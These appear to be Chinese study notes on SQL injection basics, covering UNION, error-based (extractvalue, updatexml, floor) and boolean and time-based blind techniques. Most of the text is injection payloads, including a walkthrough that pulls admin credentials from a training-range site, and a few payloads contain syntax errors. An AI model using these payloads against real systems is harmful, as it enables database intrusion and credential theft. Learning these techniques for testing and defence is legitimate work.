(学习笔记)SQL注入--基础篇

目录

一、什么是SQL注入

 注入的分类

 注入点

二、union联合注入 

三、报错注入

什么是报错注入

常用报错函数

四、盲注

布尔盲注

时间盲注


一、什么是SQL注入

通过构造一条精巧的语句,来查询想要得到的信息

 注入的分类

按照查询字段分类:字符型、数字型

按照注入方法分类:union注入、堆叠注入、报错注入、布尔盲注、时间盲注 

 注入点

1、什么是注入点?

注入点就是可以进行注入的地方,如访问数据库的连接

2、如何判断注入点是字符型还是数字型?

1.使用2-1来判断:

如?id=2-1显示为id=1的内容则为数字型注入,若显示为id=2的内容则为字符型注入

2.使用and1=1 和and1=2来判断:

提交and1=1和and1=2都正常回显为字符型注入;提交and1=1正常回显,提交and1=2无法正常显示则为数字型注入

3、闭合

手工提交闭合附结束前一段语句,后面可以加入新的语句查询想要的内容,最后多余的语句需要注释掉

常见闭合方式:

'      "      ')    ")     

注释附 :

# 、--+、%23

二、union联合注入

注:使用union select查询,需要保证前一个查询和后一个查询的结果的列数一致

例:  http://cntj8003.ia.aqlab.cn/?id=1       
// 靶场为封神台  第一章:为了女神小芳!

首先需要判断查询结果的列数:

可使用group by或order by

http://cntj8003.ia.aqlab.cn/?id=1 and 1=1 order by 2 #     回显正常
http://cntj8003.ia.aqlab.cn/?id=1 and 1=1 order by 3 #     回显错误

由此可判断共有两列,然后需要判断回显位

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,2#

发现2的位置有回显

通过回显位查询数据库名,查询结果数据库名为maoshe

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,database()#

 

 查询该数据库中的表名

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,
group_concat(table_name)from information_schema.tables where table_schema=database() #

 

查询admin表中的列名

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,
group_concat(column_name) from information_schema.columns where table_name='admin' #

 

查询admin表中的内容

http://cntj8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,
(select group_concat(id,"-",username,"-",password)from admin) #

 

三、报错注入

什么是报错注入?

报错注入利用的是页面的响应形式

即正常构造注入语句时,无信息回显;但调用特殊的函数执行时,利用函数报错使其输出错误结果来获取数据库的相关信息

 

 常用报错函数

1、extractvalue()

?id=1" and extractvalue(1,concat(0x7e,database(),0x7e)) #

extractvalue()函数语法:extractvalue(XML_document,XPath_string)

Xpath_string字段输入错误时,会回显报错信息

获取当前位置所用数据库的位置:

?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) #

获取表名:

?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) #

获取表的列名:

?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='表名' limit 0,1),0x7e)) #

2、updatexml()

?id=1' and updatexml(1,concat('~',database(),'~'),3) #

updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)

Xpath_string字段输入错误时,会回显报错信息

查询当前数据库的用户信息以及数据库版本信息:

?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) #

获取当前数据库下表名:

?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) #

获取表的列名:

?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='表名' limit 0,1),0x7e),3) #

3、floor()

?id=1" and select count(*),(concat(database(),floor(rand(0)*2)))as x 
from '表名' group by x;

count()用于统计数量

rand()是一个随机函数,通过一个固定的随机数的种子0之后,产生大于等于0小于1的伪随机序列

floor() 函数,向下取整

floor( rand( 0 ) * 2 ) 产生的随机序列为011011

通过改变limit值来获取表名

?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='库名' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 

通过改变limit值来获取列名

?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+


通过改变limit值来获取各组数据

?id=1' and (select 1 from (select count(*),concat((select concat_ws('~',列名1列名2) from security.users limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)--+
 

四、盲注

布尔盲注

页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实            行SQL注入

利用条件:

web页面只返回True或False两种类型,利用页面返回类型,逐个猜解数据

 

关键函数:

ascii(): 把字符转换为ascii码

length(str):返回字符串 str的长度

substr(a,1,1):截取a字符串从第1开始的1位长度

常用payload:

匹配第一个字符的ascii码值是否>100
?id=1' and select ascii(substr(select database()),1,1))>100 #

匹配第一个字符是否是s
?id=1' and select substr((select database()),1,1)='s'# 

时间盲注

web页面只返回一个正常页面,利用页面响应时间的不同,逐个猜解数据

利用条件:

数据库会执行命令代码,只是不反馈页面信息

关键函数:

sleep():设置休眠时长,以秒为单位,可以为小数

if(1=1,sleep(0),sleep(5)):条件成立执行sleep(0),条件不成立执行sleep(5)

常见payload:

判断第一个字母的ascii码是否>100
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(2),0) --+

判断第一个字母是否为s
?id=1' and if(substr(database(),1,1)='s',sleep(2),0) --+ 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ltachl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值